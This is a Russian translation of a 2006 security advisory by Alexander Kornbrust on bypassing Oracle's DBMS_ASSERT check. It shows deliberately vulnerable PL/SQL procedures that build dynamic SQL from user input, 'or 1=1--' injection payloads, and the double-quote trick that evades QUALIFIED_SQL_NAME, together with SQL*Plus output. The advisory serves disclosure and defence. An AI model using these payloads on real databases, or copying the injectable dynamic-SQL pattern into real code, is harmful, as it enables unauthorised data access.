Обход Oracle dbms_assert Раздел : Безопасность Опубликовано Shadow [09/08/2006] Александр Корнбруст, Red-Database-Security GmbH Используя специально сформированные параметры (в двойных кавычках) можно обойти проверку правильности пакета dbms_assert и внедрить SQL код. Уязвимость можно эксплуатировать в большинстве версий Oralce (8.1.7.4 - 10.2.0.2), исправление появилось только в июле 2006 года. Для защиты пакетов Oracle PL/SQL от большого количества SQL инъекции, Oracle разработал новый пакет пол названием dbms_assert в Oracle 10g Release 2. Этот пакет был ретропортирован с Oracle Critical Patch Update (CPU) в октябре 2005 года на все поддерживаемые базы данных (с 8.1.7.4 до 10.1.0.5). Давайте по порядку: DBMS_ASSERT - PL/SQL пакет, который содержит следующие функции: ENQUOTE_LITERALENQUOTE_NAMENOOPQUALIFIED_SQL_NAMESCHEMA_NAMESIMPLE_ SQL_NAMESQL_OBJECT_NAME Подробное объяснение этих функций и их использовании может быть найдено в статье. Если удастся обойти проверку правильности пользовательских данных одной из этих функций, то станет возможным выполнение нападений SQL инъекции против множества уязвимых PL/SQL процедур и функций, которые легко обнаружить в полностью залатанных версиях Oracle (8.1.7.4 до 10.2.0.2 с CPU July 2006), используя поиск нужной строки в распакованном PL/SQL коде. О способах распаковки PL/SQL (+ простой PoC), было рассказано Пете Финнигангом на конференции Black Hat 2006. Начнем с некоторыми простыми PL/SQL примерами Процедура PL/SQL принимает параметр TABLENAME и привязывает этот параметр к динамическому SQL оператору. Этот SQL оператор будет выполнен непосредственно при запуске. Уязвимое решение без dbms_assert: CREATE OR REPLACE PROCEDURE test1 (TABLENAME IN VARCHAR2) ISBEGINdbms_output.put_line(' SQL=select count(*) from all_tableswhere table_name='''|| TABLENAME||'''');EXECUTE IMMEDIATE 'select count(*) from all_tables wheretable_name='''|| TABLENAME ||'''';END test1;/Procedure created. Теперь мы используем обычное имя таблицы в качестве параметра: SQL> exec test1('CAT');SQL=select count(*) from all_tables where table_name='CAT'PL/SQL procedure successfully completed. Так как этот параметр не проверяетсяё мы можем внедрить PL/SQL код, например "or 1=1--" SQL> exec test1('CAT'' or 1=1--');SQL=select count(*) from all_tables where table_name='CAT' or1=1--'PL/SQL procedure successfully completed. http://www.sitysoft.com 04/11/2006 20:13:05 / Page 1 Решение с dbms_assert (все еще уязвимо): Теперь мы можем проверить пользовательские данные с dbms_assert.qualified_sql_name. Oracle использует этот подход несколько раз во внутреннем PL/SQL коде. CREATE OR REPLACE PROCEDURE test2 (TABLENAME IN VARCHAR2) ISVERIFY_TAB VARCHAR2(64);BEGINVERIFY_TAB := DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME);dbms_output.put_line('ASSERT result='||VERIFY_TAB);dbms_output.put_line('SQL=select count(*) from all_tableswhere table_name='''|| VERIFY_TAB ||'''');EXECUTE IMMEDIATE 'select count(*) from all_tables wheretable_name='''||VERIFY_TAB||'''';END test2;/Procedure created. Мы передаем нашу таблицу CAT как параметр, и все работает как и ожидалось: SQL> exec test2('CAT');ASSERT result=CATSQL=select count(*) from all_tables where table_name='CAT'PL/SQL procedure successfully completed. Теперь давайте попытаемся внедрить дополнительный код. На сей раз dbms_assert.qualified_sql_name отобразит ошибку, и динамический код не будет выполнен. SQL> exec test2('CAT'' or 1=1--');BEGIN test2('CAT'' or 1=1--'); END;*ERROR at line 1:ORA-06502: PL/SQL: numeric or value errorORA-06512: at "SYS.DBMS_ASSERT", line 206ORA-06512: at "USER1.TEST2", line 5ORA-06512: at line 1 Теперь вводим название объекта в двойных кавычках в нашу процедуру: SQL> exec test2('"CAT'' or 1=1--"');ASSERT result="CAT' or 1=1--"SQL=select count(*) from all_tables where table_name='"CAT' or1=1--"'PL/SQL procedure successfully completed. И, как не странно, это работает.. dbms_assert.qualified_sql_name пропускает проверку правильности, если параметр заключен в двойные кавычки. Если вы используете DBMS_ASSERT.sql_object_name, вы должны создать сначала объект, например CREATE TABLE " ' or 1=1-- ". Злоумышленник может использовать эту методику (двойные кавычки около параметров), чтобы обойти dbms_assert. Об этой уязвимости, и некоторых связанных ошибок безопасности, было сообщено компании Oracle в Апреле 2006 года. Ссылки: 1. Securing PL/SQL Applications with DBMS_ASSERT (PDF) 2. DBMS_ASSERT - Sanitize User Input to Help Prevent SQL Injection 3. How to Unwrap Oracle PL/SQL